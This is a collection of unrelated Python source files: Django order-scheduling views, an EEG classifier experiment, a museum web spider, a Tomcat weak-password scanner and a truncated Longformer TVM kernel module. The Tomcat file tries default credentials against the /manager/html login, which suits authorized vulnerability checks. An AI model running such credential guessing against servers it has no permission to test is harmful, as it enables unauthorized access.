ProcessTypeResourceTypeForm( data=request.POST, instance=ptrt, prefix=prefix) #form = ProcessTypeResourceTypeForm( # data=request.POST, # instance=ptrt) if form.is_valid(): form.save() next = request.POST.get("next") return HttpResponseRedirect(next) else: raise ValidationError(form.errors) @login_required def change_agent_resource_type(request, agent_resource_type_id): #import pdb; pdb.set_trace() if request.method == "POST": art = get_object_or_404(AgentResourceType, pk=agent_resource_type_id) #prefix = art.xbill_change_prefix() #form = AgentResourceTypeForm(data=request.POST, instance=art, prefix=prefix) form = AgentResourceTypeForm(data=request.POST, instance=art) if form.is_valid(): form.save() next = request.POST.get("next") return HttpResponseRedirect(next) else: raise ValidationError(form.errors) @login_required def change_feature(request, feature_id): if request.method == "POST": ft = get_object_or_404(Feature, pk=feature_id) #prefix = ft.xbill_change_prefix() #form = FeatureForm(data=request.POST, instance=ft, prefix=prefix) form = FeatureForm(data=request.POST, instance=ft) if form.is_valid(): form.save() next = request.POST.get("next") return HttpResponseRedirect(next) else: raise ValidationError(form.errors) @login_required def create_agent_resource_type(request, resource_type_id): #import pdb; pdb.set_trace() if request.method == "POST": rt = get_object_or_404(EconomicResourceType, pk=resource_type_id) form = AgentResourceTypeForm(request.POST) if form.is_valid(): art = form.save(commit=False) art.resource_type=rt art.save() next = request.POST.get("next") return HttpResponseRedirect(next) else: raise ValidationError(form.errors) @login_required def change_process_type(request, process_type_id): #import pdb; pdb.set_trace() if request.method == "POST": pt = get_object_or_404(ProcessType, pk=process_type_id) #prefix = pt.xbill_change_prefix() #form = ChangeProcessTypeForm(request.POST, instance=pt, prefix=prefix) form = ChangeProcessTypeForm(request.POST, instance=pt) if form.is_valid(): form.save() next = request.POST.get("next") return HttpResponseRedirect(next) else: raise ValidationError(form.errors) @login_required def create_process_type_for_resource_type(request, resource_type_id): #import pdb; pdb.set_trace() if request.method == "POST": rt = get_object_or_404(EconomicResourceType, pk=resource_type_id) form = XbillProcessTypeForm(request.POST) if form.is_valid(): data = form.cleaned_data pt = form.save() quantity = data["quantity"] #todo: hack based on rel name, which is user changeable rel = ResourceRelationship.objects.get(name="produces") unit = rt.unit quantity = Decimal(quantity) ptrt = ProcessTypeResourceType( process_type=pt, resource_type=rt, relationship=rel, unit_of_quantity=unit, quantity=quantity, ) ptrt.save() next = request.POST.get("next") return HttpResponseRedirect(next) else: raise ValidationError(form.errors) def network(request, resource_type_id): #import pdb; pdb.set_trace() rt = get_object_or_404(EconomicResourceType, pk=resource_type_id) nodes, edges = graphify(rt, 3) return render_to_response("valueaccounting/network.html", { "resource_type": rt, "photo_size": (128, 128), "nodes": nodes, "edges": edges, }, context_instance=RequestContext(request)) def timeline(request): timeline_date = datetime.date.today().strftime("%b %e %Y 00:00:00 GMT-0600") unassigned = Commitment.objects.filter( from_agent=None, resource_type__materiality="work").order_by("due_date") return render_to_response("valueaccounting/timeline.html", { "timeline_date": timeline_date, "unassigned": unassigned, }, context_instance=RequestContext(request)) def json_timeline(request): #data = "{ 'wiki-url':'http://simile.mit.edu/shelf/', 'wiki-section':'Simile JFK Timeline', 'dateTimeFormat': 'Gregorian','events': [{'start':'May 28 2006 09:00:00 GMT-0600','title': 'Writing Timeline documentation','link':'http://google.com','description':'Write some doc already','durationEvent':false }, {'start': 'Jun 16 2006 00:00:00 GMT-0600' ,'end': 'Jun 26 2006 00:00:00 GMT-0600' ,'durationEvent':true,'title':'Friends wedding'}]}" #import pdb; pdb.set_trace() orders = Order.objects.all() #processes = [] #for order in orders: # for commitment in order.producing_commitments(): # processes.append(commitment.process) events = {'dateTimeFormat': 'Gregorian','events':[]} #for process in processes: # backschedule_events(process, events) for order in orders: backschedule_order(order, events) data = simplejson.dumps(events, ensure_ascii=False) return HttpResponse(data, mimetype="text/json-comment-filtered") def json_resource_type_unit(request, resource_type_id): data = serializers.serialize("json", EconomicResourceType.objects.filter(id=resource_type_id), fields=('unit',)) return HttpResponse(data, mimetype="text/json-comment-filtered") @login_required def create_order(request): cats = Category.objects.filter(orderable=True) rts = EconomicResourceType.objects.filter(category__in=cats) item_forms = [] data = request.POST or None order_form = OrderForm(data=data) for rt in rts: prefix1 = "-".join(['RT', str(rt.id)]) init = {'resource_type_id': rt.id,} form = OrderItemForm(data=data, prefix=prefix1, resource_type=rt, initial=init) form.features = [] for ft in rt.features.all(): prefix2 = "-".join(['FT', str(ft.id)]) form.features.append(OrderItemOptionsForm(data=data, prefix=prefix2, feature=ft)) item_forms.append(form) if request.method == "POST": if order_form.is_valid(): order = order_form.save() #import pdb; pdb.set_trace() for form in item_forms: if form.is_valid(): data = form.cleaned_data qty = data["quantity"] if qty: rt_id = data["resource_type_id"] rt = EconomicResourceType.objects.get(id=rt_id) pt = rt.main_producing_process_type() ptrt = rt.main_producing_process_type_relationship() start_date = order.due_date - datetime.timedelta(minutes=pt.estimated_duration) process = Process( name=pt.name, process_type=pt, project=pt.project, url=pt.url, end_date=order.due_date, start_date=start_date, owner=order.provider, managed_by=order.provider, ) process.save() commitment = Commitment( order=order, independent_demand=order, event_type=ptrt.relationship.event_type, relationship=ptrt.relationship, due_date=order.due_date, from_agent_type=order.provider.agent_type, from_agent=order.provider, to_agent=order.receiver, resource_type=rt, process=process, project=pt.project, description=data["description"], quantity=qty, unit_of_quantity=rt.unit, created_by=request.user, ) commitment.save() for ftr in form.features: if ftr.is_valid(): option_id = ftr.cleaned_data["options"] option = Option.objects.get(id=option_id) component = option.component feature = ftr.feature process_type = feature.process_type #import pdb; pdb.set_trace() if process_type != pt: raise ValueError(process_type) commitment = Commitment( independent_demand=order, event_type=feature.relationship.event_type, relationship=feature.relationship, due_date=process.start_date, to_agent=order.provider, resource_type=component, process=process, project=pt.project, quantity=qty * feature.quantity, unit_of_quantity=component.unit, created_by=request.user, ) commitment.save() pptr = component.main_producing_process_type_relationship() if pptr: next_pt = pptr.process_type start_date = process.start_date - datetime.timedelta(minutes=next_pt.estimated_duration) next_process = Process( name=next_pt.name, process_type=next_pt, project=next_pt.project, url=next_pt.url, end_date=process.start_date, start_date=start_date, ) next_process.save() next_commitment = Commitment( independent_demand=order, event_type=pptr.relationship.event_type, relationship=pptr.relationship, due_date=process.start_date, resource_type=pptr.resource_type, process=next_process, project=next_pt.project, quantity=qty * feature.quantity, unit_of_quantity=pptr.resource_type.unit, created_by=request.user, ) next_commitment.save() generate_schedule(next_process, order, request.user) generate_schedule(process, order, request.user) return HttpResponseRedirect('/%s/%s/' % ('accounting/order-schedule', order.id)) return render_to_response("valueaccounting/create_order.html", { "order_form": order_form, "item_forms": item_forms, }, context_instance=RequestContext(request)) def schedule_commitment( commitment, schedule, reqs, work, tools, depth): order = commitment.independent_demand commitment.depth = depth * 2 schedule.append(commitment) process = commitment.process process.depth = depth * 2 schedule.append(process) #import pdb; pdb.set_trace() for inp in process.incoming_commitments(): inp.depth = depth * 2 schedule.append(inp) resource_type = inp.resource_type pcs = resource_type.producing_commitments() if pcs: for pc in pcs: if pc.independent_demand == order: schedule_commitment(pc, schedule, reqs, work, tools, depth+1) elif inp.independent_demand == order: if resource_type.materiality == 'material': reqs.append(inp) elif resource_type.materiality == 'work': work.append(inp) elif resource_type.materiality == 'tool': tools.append(inp) for art in resource_type.producing_agent_relationships(): art.depth = (depth + 1) * 2 schedule.append(art) return schedule def order_schedule(request, order_id): order = get_object_or_404(Order, pk=order_id) sked = [] reqs = [] work = [] tools = [] for ct in order.producing_commitments(): schedule_commitment(ct, sked, reqs, work, tools, 0) return render_to_response("valueaccounting/order_schedule.html", { "order": order, "sked": sked, "reqs": reqs, "work": work, "tools": tools, }, context_instance=RequestContext(request)) def demand(request): orders = Order.objects.all() return render_to_response("valueaccounting/demand.html", { "orders": orders, }, context_instance=RequestContext(request)) def supply(request): reqs = [] commitments = Commitment.objects.filter(resource_type__materiality="material") for commitment in commitments: if not commitment.resource_type.producing_commitments(): reqs.append(commitment) return render_to_response("valueaccounting/supply.html", { "reqs": reqs, }, context_instance=RequestContext(request)) def work(request): work = [] commitments = Commitment.objects.filter(resource_type__materiality="work") for commitment in commitments: if not commitment.resource_type.producing_commitments(): work.append(commitment) return render_to_response("valueaccounting/work.html", { "work": work, }, context_instance=RequestContext(request))
c6af23485f7ab289c07941c2729af10e573fe1c6
59d7299e1c8f81dc27458aeb2efc9b5ccbccc1c3
/utilities/classify_data_baseline_hmm.py
b3d5f1338f7cfbeeaad49a6eee03ad40b7cf0c3b
[]
no_license
Cognitive-Technology-Group/PyOBCI
43993ef9451d9120176d3a0899e5338098e4f5e7
611d22265aa68dc7ca4381c6c65f5349e641c97d
refs/heads/master
2016-09-06T15:36:49.057104
2015-01-17T06:16:27
2015-01-17T06:16:27
21,548,385
5
2
null
2015-04-30T00:09:55
2014-07-06T20:50:57
Python
UTF-8
Python
false
false
10,311
py
#!/usr/bin/env python2 from sklearn.ensemble import ExtraTreesClassifier from sklearn.neighbors import KNeighborsClassifier from sklearn.neighbors.nearest_centroid import NearestCentroid from sklearn.decomposition import PCA from sklearn import cross_validation from sklearn import svm from sklearn.externals import joblib import pandas from scipy import signal import numpy as np from pprint import pprint from pylab import * from sklearn.feature_selection import RFE from sklearn.ensemble import RandomForestClassifier, AdaBoostClassifier from sklearn.naive_bayes import GaussianNB from sklearn.qda import QDA from pybrain.datasets import ClassificationDataSet from pybrain.utilities import percentError from pybrain.tools.shortcuts import buildNetwork from pybrain.supervised.trainers import BackpropTrainer, RPropMinusTrainer from pybrain.structure.modules import SoftmaxLayer from pybrain.datasets import SupervisedDataSet import sklearn.cluster from seqlearn.hmm import MultinomialHMM from sklearn.hmm import GaussianHMM d = pandas.read_csv("motor_data_derrick.csv") # d2 = pandas.read_csv("motor_data_tomas.csv") # d = d.append(d2) d = d.dropna() d = d.reset_index(drop=True) M = 25 r = 250 # sampling rate f1, f2 = 10, 22 wavelet1 = signal.morlet(M, w=(f1*M)/(2.0*r)) wavelet2 = signal.morlet(M, w=(f2*M)/(2.0*r)) box_width = 250 features_arr = np.zeros( (len(d.index), # rows # cols, FFT len * n_signals * n_wavelets * 1 (abs, no angle) box_width * 3 * 3 * 1) ) for i in range(box_width, len(d)-1): if i % 1000 == 0: print(i) data = np.array(d[(i - box_width+1):(i+1)]) sigs = np.zeros((data.shape[0], 3)) sigs[..., 0] = (data[..., 0] + data[..., 1])/2.0 sigs[..., 1] = (data[..., 2] + data[..., 3])/2.0 sigs[..., 2] = (data[..., 4] + data[..., 5])/2.0 # fft_len = np.fft.rfft(data[..., 0]).shape[0] features = np.array([]) for j in range(3): sig = sigs[..., j] conv1 = signal.convolve(sig, wavelet1, 'same') conv2 = signal.convolve(sig, wavelet2, 'same') fourier = np.fft.fft(sig) fourier1 = np.fft.fft(conv1) fourier2 = np.fft.fft(conv2) features = np.hstack([features, np.abs(fourier), np.abs(fourier1), np.abs(fourier2)]) # not sure if this is a good idea --> # features = np.hstack([features, np.angle(fourier), np.angle(fourier1), np.angle(fourier2)]) features_arr[i, ...] = features feature_names = [] for i in range(3): feature_names.extend(['c' + str(i) + '_abs_A_' + str(x) for x in range(box_width)]) feature_names.extend(['c' + str(i) + '_abs_B_' + str(x) for x in range(box_width)]) feature_names.extend(['c' + str(i) + '_abs_C_' + str(x) for x in range(box_width)]) # feature_names.extend(['c' + str(i) + '_angle_A_' + str(x) # for x in range(box_width)]) # feature_names.extend(['c' + str(i) + '_angle_B_' + str(x) # for x in range(box_width)]) # feature_names.extend(['c' + str(i) + '_angle_C_' + str(x) # for x in range(box_width)]) # clf.fit(features_arr, d.tag) fftfreq = np.fft.fftfreq(box_width, d=1/250.0) def fisher_criterion(X, y, a, b): X_1 = X[y == a, ] X_2 = X[y == b, ] top = np.abs(X_1.mean(0) - X_2.mean(0)) bottom = np.sqrt((X_1.std(0)**2.0 + X_2.std(0)**2) / 2.0) return top / bottom # time embed the features n times, spaced k apart def time_embed(features, y, k, n): total = n*k out = features[total:,] for i in range(n-1, -1, -1): current = i*k left = total - current out = np.hstack([out, features[current:-left]]) return out, y[total:] def fish_good_features(X, y, a, b, n): n_fish_features = 100 fish = fisher_criterion(X, y, a, b) cutoff = np.sort(fish)[-n:][0] good_features = fish >= cutoff return good_features def remove_corr_good(X, threshold): corr = np.corrcoef(X.T) c = corr > 0.92 N = c.shape[0] good_features2 = np.ones(N, dtype=bool) for i in range(N): s = sum(c[i][good_features2]) if s > 1: good_features2[i] = False return good_features2 X = features_arr[box_width:] y = np.array(d.tag[box_width:]) # N_switch = len(d2) N_train = 20000 # N_test_end = 20000 N_test_end = N_train + 5000 # print("first round") # n_fish_features = 400 # fish = fisher_criterion(X[:N_train,], y[:N_train], -1, 1) # cutoff = np.sort(fish)[-n_fish_features:][0] # good_features = fish >= cutoff # X = X[..., good_features] # print("embedding") # k, n = 25, 2 # X = time_embed(X, k, n) # y = y[(n*k):] print("fisher features") good_indexes = np.arange(X.shape[1]) gf1 = fish_good_features(X[:N_train,], y[:N_train], 1, 0, 70) gf2 = fish_good_features(X[:N_train,], y[:N_train], -1, 0, 70) gf3 = fish_good_features(X[:N_train,], y[:N_train], -1, 1, 70) good_features = np.logical_or(gf1, gf2, gf3) # good_features = fish_good_features(X[:N_train,], y[:N_train], -1, 1, 200) X_new = X[..., good_features] good_indexes = good_indexes[good_features] print("correlation") good_features2 = remove_corr_good(X_new, 0.92) X_new = X_new[..., good_features2] good_indexes = good_indexes[good_features2] print(X_new.shape[1]) print("fisher features again") gf1 = fish_good_features(X_new[:N_train,], y[:N_train], 1, 0, 10) gf2 = fish_good_features(X_new[:N_train,], y[:N_train], -1, 0, 10) gf3 = fish_good_features(X_new[:N_train,], y[:N_train], -1, 1, 70) good_features3 = np.logical_or(gf1, gf2, gf3) # good_features = fish_good_features(X_new[:N_train,], y[:N_train], -1, 1, 15) X_new = X_new[..., good_features3] good_indexes = good_indexes[good_features3] print(X_new.shape[1]) # # good_features = ETC.feature_importances_ >= 0.003 ff = np.array(feature_names)[good_indexes] pprint(list(ff)) #print(np.sum(good_features)) #pprint(zip(ff, fish[good_features])) # n_features = n_fish_features * (n+1) X_new = X_new * 1000 #n_features = sum(good_features2) n_features = X_new.shape[1] print(n_features) # # clf = svm.SVC() # # clf.fit(X_new, y) # hmm = MultinomialHMM() # pos = np.where(np.diff(y) != 0)[0] # d = np.hstack([0, pos+1, len(y)]) # lens = np.diff(d) # hmm.fit(X_new, y, lens) hmm = GaussianHMM(n_components = 20) hmm.fit([X_new]) clusters = pred = hmm.predict(X_new) # neigh = KNeighborsClassifier(n_neighbors=10, weights='distance') # scores = cross_validation.cross_val_score(neigh, X_new, y, cv=5) # print(scores) # # neigh.fit(X_new, y) # good_features = ETC.feature_importances_ >= 0.0005 # print(np.sum(good_features)) # X_new2 = X[..., good_features] # n_features = 20 # pca = PCA(n_components = n_features) # pca.fit(X_new) # print(pca.explained_variance_) # X_new = pca.transform(X_new) # print("unsupervised learning") # # model = sklearn.cluster.MiniBatchKMeans(n_clusters=30, reassignment_ratio=0.05) # model = sklearn.cluster.DBSCAN() # # model = sklearn.cluster.AffinityPropagation() # # model = sklearn.cluster.AgglomerativeClustering(n_clusters = 3) # clusters = model.fit_predict(X_new) print("time embedding") k, n = 50, 20 # for k in [1, 5, 10, 25, 50, 100]: # for n in range(1, 101, 10): dd = list() depth = 11 estimators = 4 # for m_features in range(1, 50): # print("k", k, "n", n) print("") # print("depth", depth) y_train = (y[:N_train] == 0).astype(float) c2, y2 = time_embed(clusters[:N_train, np.newaxis], y_train, k, n) #print("random forest") # model = KNeighborsClassifier(n_neighbors=2, weights='distance') rf = RandomForestClassifier(max_depth=depth, n_estimators=estimators, max_features=1) rf.fit(c2, y2) print("train", rf.score(c2, y2)) #print("testing") # clusters = model.predict(X) y_real = (y == 0).astype(float) c2, y2 = time_embed(clusters[:, np.newaxis], y_real, k, n) pred = rf.predict(c2) test = rf.score(c2, y2) print("test", test) # dd.append(test) # clf() # plot(dd) # draw() smoother_len = 400 # # smoother = np.repeat(1.0/smoother_len, smoother_len) smoother = np.exp(-0.001 * np.arange(0,smoother_len)) smoother = smoother / sum(smoother) s = pred # s = signal.wiener(s, 200) s = signal.convolve(s, smoother, 'same') # s = s / max(s) # s = signal.medfilt(s, 11) clf() # plot((s - s.mean()) / s.std()) subplot(2,1,1) plot(s - 1) plot(y2) # ylim(-0.5, 1.5) subplot(2,1,2) plot(abs(s - y2)) # plot(abs(s - y)) draw() show(block=False) # s = s - s.mean() # s2 = signal.wiener(s, 251) # target = (y == 0) * 2 - 1 # error = abs(s - target) # index = np.arange(len(error)) # e_train = error[:N_train] # e_test = error[N_train:N_test_end] # # print("RMS error on train", np.sqrt(e_train.mean())) # # print("RMS error on test", np.sqrt(e_test.mean())) # p = (np.abs(e_test > 0.9).mean()) # if p < p_best: # s_best = s # p_best = p # print("proportion misclass on train", (np.abs(e_train > 0.9).mean())) # print("proportion misclass on test", p) # s = s_best # error2 = abs(np.sign(s) - y) # e2_train = error2[np.logical_and(index < N_train, y != 0)] # e2_test = error2[np.logical_and(index >= N_train, y != 0)] # print("proportion misclass on train, sign", (np.abs(e2_train > 1).mean())) # print("proportion misclass on test, sign", (np.abs(e2_test > 1).mean())) # plot(signal.convolve(pred, smoother, 'same')) # plot(signal.medfilt(pred, 121)) # subplot(2,1,1) # vlines(N_train, -1, 1, linestyles='dotted') # plot(p) # t = np.arange(len(s)) / 250.0 clf() n_clusters = len(np.unique(clusters)) ys = np.unique(y) for i, yy in enumerate(ys): subplot(3, 1, i+1) hist(clusters[np.logical_and(y == yy, clusters != -1)], bins=n_clusters) title(yy) draw() # vlines(N_train / 250.0, -2, 2, linestyles='solid') # vlines(N_test_end / 250.0, -2, 2, linestyles='dashed') # # vlines(N_switch / 250.0, -2, 2, linestyles='dashed', colors='red') # plot(t, pred) # # plot(t, (y == 0) * 2 - 1) # plot(t, y) # subplot(2,1,2) # vlines(N_train / 250.0, 0, 2, linestyles='solid') # hlines(1.0, 0, max(t), linestyles='dashed') # plot(t, error) show(block=False) #neigh.fit(X_new, y) # joblib.dump([neigh, good_features], 'neighbors_model.pkl', compress=4) # neigh, good_features = joblib.load('neighbors_model.pkl')
dba584dd19b9cd732105b0d9baf0c1de3bdb0802
bccfab4d853f7417401a084be95de293e66ccd2a
/mySpider/spiders/Collection36.py
56bf0105f695645fcbfb1f8d4c5cc72613a4f51e
[]
no_license
CS1803-SE/The-First-Subsystem
a8af03ce04a9de72a6b78ece6411bac4c02ae170
4829ffd6a83133479c385d6afc3101339d279ed6
refs/heads/main
2023-05-06T02:32:08.751139
2021-05-24T06:09:37
2021-05-24T06:09:37
363,400,147
0
0
null
null
null
null
UTF-8
Python
false
false
2,056
py
#!/usr/bin/python3.7 # -*- coding: utf-8 -*- # @Time : 2021/5/1 17:28 # @Author : ana # @File : Collection36.py # @Software: PyCharm from ..items import * from ..str_filter import * from ..auxiliary_files import Collection36_supporting class Collection36(scrapy.Spider): name = "Collection36" allowed_domains = ['lvshunmuseum.org'] start_urls = Collection36_supporting.Collection36Supporting.startUrl custom_settings = { 'ITEM_PIPELINES': { 'mySpider.pipelines.CollectionPipeLine': 301, }, 'DOWNLOADER_MIDDLEWARES': { 'mySpider.middlewares.DefaultMiddleware': 0, }, } def parse(self, response, **kwargs): li_list = response.xpath("//*[@id='tab']/div/div/div[2]/ul/li") print(len(li_list)) for li in li_list: item = CollectionItem() item["museumID"] = 36 item["museumName"] = "旅顺博物馆" item['collectionName'] = StrFilter.filter(li.xpath("./a/div[1]/img/@alt").extract_first()).replace('[', '').replace( ']', '') item['collectionImageLink'] = 'http://www.lvshunmuseum.org' + str(li.xpath( "./a/div[1]/img/@src").extract_first())[1:] url = "http://www.lvshunmuseum.org" + str(li.xpath("./a/@href").extract_first())[1:] yield scrapy.Request( url, callback=self.parseAnotherPage, meta={"item": item} ) def parseAnotherPage(self, response): item = response.meta["item"] item['collectionIntroduction'] = StrFilter.filter( response.xpath("//*[@id='showcasescontent']/div/div[3]/p").xpath('string(.)').extract_first()).replace('[', '').replace( ']', '') print(item) yield item
914c7f5609eddc9843dab1308819682ab8de7b95
6c219c027c7d0ef454bdeac196bd773e8b95d602
/system/tomcat/tomcat_weak_pass.py
02071bb0dd5c7a622b9e690d910e97973b11f9f4
[]
no_license
aStrowxyu/pocscan
663f3a3458140e1bce7b4dc3702c6014a4c9ac92
08c7e7454c6b7c601bc54c21172c4788312603b1
refs/heads/master
2020-04-19T10:00:56.569105
2019-01-29T09:31:31
2019-01-29T09:31:31
168,127,418
4
0
null
null
null
null
UTF-8
Python
false
false
1,681
py
#!/usr/bin/env python # -*- coding: utf-8 -*- ''' name: Tomcat 弱口令漏洞 referer: unknown author: Lucifer description: tomcat 后台弱口令。 ''' import sys import json import base64 import requests import warnings from termcolor import cprint class tomcat_weak_pass_BaseVerify: def __init__(self, url): self.url = url def run(self): userlist = ["tomcat","admin"] passlist = ["tomcat", "123456", "admin"] payload = "/manager/html" vulnurl = self.url + payload for username in userlist: for password in passlist: try: headers = { "Authorization":"Basic "+base64.b64encode(bytes(username.encode())+b":"+bytes(password.encode())).decode(), "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8", "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50" } req = requests.get(vulnurl, headers=headers, timeout=10, verify=False) if req.status_code == 200 and r"Applications" in req.text and r"Manager" in req.text: cprint("[+]存在Tomcat 弱口令漏洞...(高危)\tpayload: "+vulnurl+"\npost: "+json.dumps({username:password}, indent=4), "red") except: cprint("[-] "+__file__+"====>可能不存在漏洞", "cyan") if __name__ == "__main__": warnings.filterwarnings("ignore") testVuln = tomcat_weak_pass_BaseVerify(sys.argv[1]) testVuln.run()
5d9abf7be2b4eff085ba4b1190760c8cdc557f3e
e66afbbd0e057ad436e2106e17aadb0ecd748f7f
/src/longformer/diagonaled_mm_tvm.py
2441c87e8c71fcd1c47b482a057b08e9f5e0a6da
[]
no_license
wjunneng/2020-AI-English-Text-Semantic-Similarity
2a666bdfcd703c7795df761b852042c67efa2200
e5efe77c0f0f42129d4806ba6228b0766d6cecbd
refs/heads/master
2022-07-11T16:07:33.131607
2020-05-10T06:22:57
2020-05-10T06:22:57
254,600,139
1
1
null
null
null
null
UTF-8
Python
false
false
17,814
py
from typing import Union from functools import lru_cache import torch import os.path # this can be the small runtime python library, and doesn't need to be the whole thing from tvm.module import load # convert the tvm function into a pytorch function from tvm.contrib import dlpack # import the full tvm library here for compilation. Don't import at the top of the file in case we don't need to compile import tvm class DiagonaledMM(torch.autograd.Function): '''Class to encapsulate tvm code for compiling a diagonal_mm function, in addition to calling this function from PyTorch ''' function_dict = {} # save a list of functions, each has a different set of parameters @staticmethod def _compile_function(dtype: str, device: str, b0: int = 4, b1: int = 4, b2: int = 16): '''Compiles a tvm function that computes diagonal_mm args: dtype: str in ['float64', 'float32', 'float16'] device: str in ['cpu' or 'cuda'] b0, b1, b2: size of tensor tiles. Very important for good performance ''' from tvm.contrib import nvcc @tvm.register_func def tvm_callback_cuda_compile(code): """Use nvcc compiler for better perf.""" ptx = nvcc.compile_cuda(code, target="ptx", arch='sm_52') # use old arch for this to work on old GPUs return ptx assert dtype in ['float16', 'float32', 'float64'] assert device in ['cpu', 'cuda'] device = None if device == 'cpu' else device tgt_host = "llvm" b = tvm.var('b') # batch size n = tvm.var('n') # sequence length h = tvm.var('h') # number of heads m = tvm.var('m') # hidden dimension w = tvm.var('w') # window size w_upper = tvm.var('w_upper') # window size to the right of the word. Should be `0` or `w` padding = tvm.var('padding') # padding transpose_t1 = tvm.var('transpose_t1') # t1 should be transposed t1d3 = tvm.var('t1d3') # last dimension of t1 t3d3 = tvm.var('t3d3') # last dimension of t3 (the result tensor) X = tvm.placeholder((b, n, h, t1d3), name='X', dtype=dtype) # first tensor Y = tvm.placeholder((b, n, h, m), name='Y', dtype=dtype) # second tensor k = tvm.reduce_axis((0, t1d3), name='k') # dimension to sum over D = tvm.placeholder((h), name='D', dtype='int') # dilation per head output_shape = (b, n, h, t3d3) # shape of the result tensor algorithm = lambda l, i, q, j: tvm.sum( tvm.if_then_else( t3d3 == m, # if output dimension == m, then t1 is diagonaled (FIXME: This breaks if t3d3 == m == t1d3) tvm.if_then_else( transpose_t1 == 0, tvm.if_then_else( tvm.all( i + D[q] * (k - w) >= 0, i + D[q] * (k - w) < n, ), X[l, i, q, k] * Y[l, i + D[q] * (k - w), q, j], # t1 is diagonaled padding ), tvm.if_then_else( tvm.all( i + D[q] * (k - w_upper) >= 0, # `w_upper` to handle the case `autoregressive=True` i + D[q] * (k - w_upper) < n, ), X[l, i + D[q] * (k - w_upper), q, (w_upper + w) - k] * Y[l, i + D[q] * (k - w_upper), q, j], # # t1 is diagonaled and should be transposed padding ), ), tvm.if_then_else( tvm.all( i + D[q] * (j - w) >= 0, i + D[q] * (j - w) < n, ), X[l, i, q, k] * Y[l, i + D[q] * (j - w), q, k], # t1 is not diagonaled, but the output tensor is going to be padding ) ), axis=k) Z = tvm.compute(output_shape, algorithm, name='Z') # automatically generate cuda code s = tvm.create_schedule(Z.op) print('Lowering: \n ===================== \n{}'.format(tvm.lower(s, [X, Y, D], simple_mode=True))) # split long axis into smaller chunks and assing each one to a separate GPU thread/block ko, ki = s[Z].split(Z.op.reduce_axis[0], factor=b0) ZF = s.rfactor(Z, ki) j_outer, j_inner = s[Z].split(s[Z].op.axis[-1], factor=b1) i_outer, i_inner = s[Z].split(s[Z].op.axis[1], factor=b2) s[Z].bind(j_outer, tvm.thread_axis("blockIdx.x")) s[Z].bind(j_inner, tvm.thread_axis("threadIdx.y")) s[Z].bind(i_outer, tvm.thread_axis("blockIdx.y")) s[Z].bind(i_inner, tvm.thread_axis("threadIdx.z")) tx = tvm.thread_axis("threadIdx.x") s[Z].bind(s[Z].op.reduce_axis[0], tx) s[ZF].compute_at(s[Z], s[Z].op.reduce_axis[0]) s[Z].set_store_predicate(tx.var.equal(0)) print( 'Lowering with GPU splits: \n ===================== \n{}'.format(tvm.lower(s, [X, Y, D], simple_mode=True))) # compiling the automatically generated cuda code diagonaled_mm = tvm.build(s, [X, Y, Z, D, w, w_upper, padding, transpose_t1, t3d3], target=device, target_host=tgt_host, name='diagonaled_mm') return diagonaled_mm @staticmethod def _get_lib_filename(dtype: str, device: str): base_filename = 'longformer/lib/lib_diagonaled_mm' return '{}_{}_{}.so'.format(base_filename, dtype, device) @staticmethod def _save_compiled_function(f, dtype: str, device: str): if not os.path.exists('longformer/lib/'): os.makedirs('longformer/lib/') f.export_library(DiagonaledMM._get_lib_filename(dtype, device)) @staticmethod def _load_compiled_function(dtype: str, device: str): filename = DiagonaledMM._get_lib_filename(dtype, device) current_dir = os.path.dirname(os.path.abspath(__file__)) potential_dirs = ['../../', '../', './', f'{current_dir}/', f'{current_dir}/../'] for potential_dir in potential_dirs: filepath = '{}{}'.format(potential_dir, filename) if os.path.isfile(filepath): print('Loading tvm binary from: {}'.format(filepath)) return load(filepath) return None @staticmethod def _get_function(dtype: str, device: str): '''Loads the function from the disk or compile it''' # A list of arguments that define the function args = (dtype, device) if args not in DiagonaledMM.function_dict: diagonaled_mm = DiagonaledMM._load_compiled_function(dtype, device) # try to load from disk if not diagonaled_mm: print('Tvm binary not found. Compiling ...') diagonaled_mm = DiagonaledMM._compile_function(dtype, device) # compile DiagonaledMM._save_compiled_function(diagonaled_mm, dtype, device) # save to disk diagonaled_mm_pytorch = dlpack.to_pytorch_func(diagonaled_mm) # wrap it as a pytorch function # save the function into a dictionary to be reused DiagonaledMM.function_dict[args] = diagonaled_mm_pytorch # save it in a dictionary for next time return DiagonaledMM.function_dict[args] @staticmethod def _diagonaled_mm(t1: torch.Tensor, t2: torch.Tensor, w: int, d: Union[torch.Tensor, int], is_t1_diagonaled: bool = False, transpose_t1: bool = False, padding: int = 0, autoregressive: bool = False): '''Calls the compiled function after checking the input format. This function is called in three different modes. t1 x t2 = r ==> t1 and t2 are not diagonaled, but r is. Useful for query x key = attention_scores t1 x t2 = r ==> t1 is diagonaled, but t2 and r are not. Useful to compuate attantion_scores x value = context t1 x t2 = r ==> t1 is diagonaled and it should be transposed, but t2 and r are not diagonaled. Useful in some of the calculations in the backward pass. ''' dtype = str(t1.dtype).split('.')[1] device = t1.device.type assert len(t1.shape) == 4 assert len(t1.shape) == len(t2.shape) assert t1.shape[:3] == t2.shape[:3] if isinstance(d, int): # if d is an integer, replace it with a tensor of the same length # as number of heads, and it is filled with the same dilation value d = t1.new_full(size=(t1.shape[2],), fill_value=d, dtype=torch.int, requires_grad=False) assert len(d.shape) == 1 assert d.shape[0] == t1.shape[2] # number of dilation scores should match number of heads b = t1.shape[0] # batch size n = t1.shape[1] # sequence length h = t1.shape[2] # number of heads m = t2.shape[3] # hidden dimension w_upper = 0 if autoregressive else w c = w_upper + w + 1 # number of diagonals if is_t1_diagonaled: assert t1.shape[3] == c r = t1.new_empty(b, n, h, m) # allocate spase for the result tensor else: assert not transpose_t1 assert t1.shape[3] == m r = t1.new_empty(b, n, h, c) # allocate spase for the result tensor # gets function from memory, from disk or compiles it from scratch _diagonaled_mm_function = DiagonaledMM._get_function(dtype=dtype, device=device) # The last argument to this function is a little hacky. It is the size of the last dimension of the result tensor # We use it as a proxy to tell if t1_is_diagonaled or not (if t1 is diagonaled, result is not, and vice versa). # The second reason is that the lambda expression in `_compile_function` is easier to express when the shape # of the output is known # This functions computes diagonal_mm then saves the result in `r` if m == c: # FIXME print('Error: the hidden dimension {m} shouldn\'t match number of diagonals {c}') assert False _diagonaled_mm_function(t1, t2, r, d, w, w_upper, padding, transpose_t1, m if is_t1_diagonaled else c) return r @staticmethod def 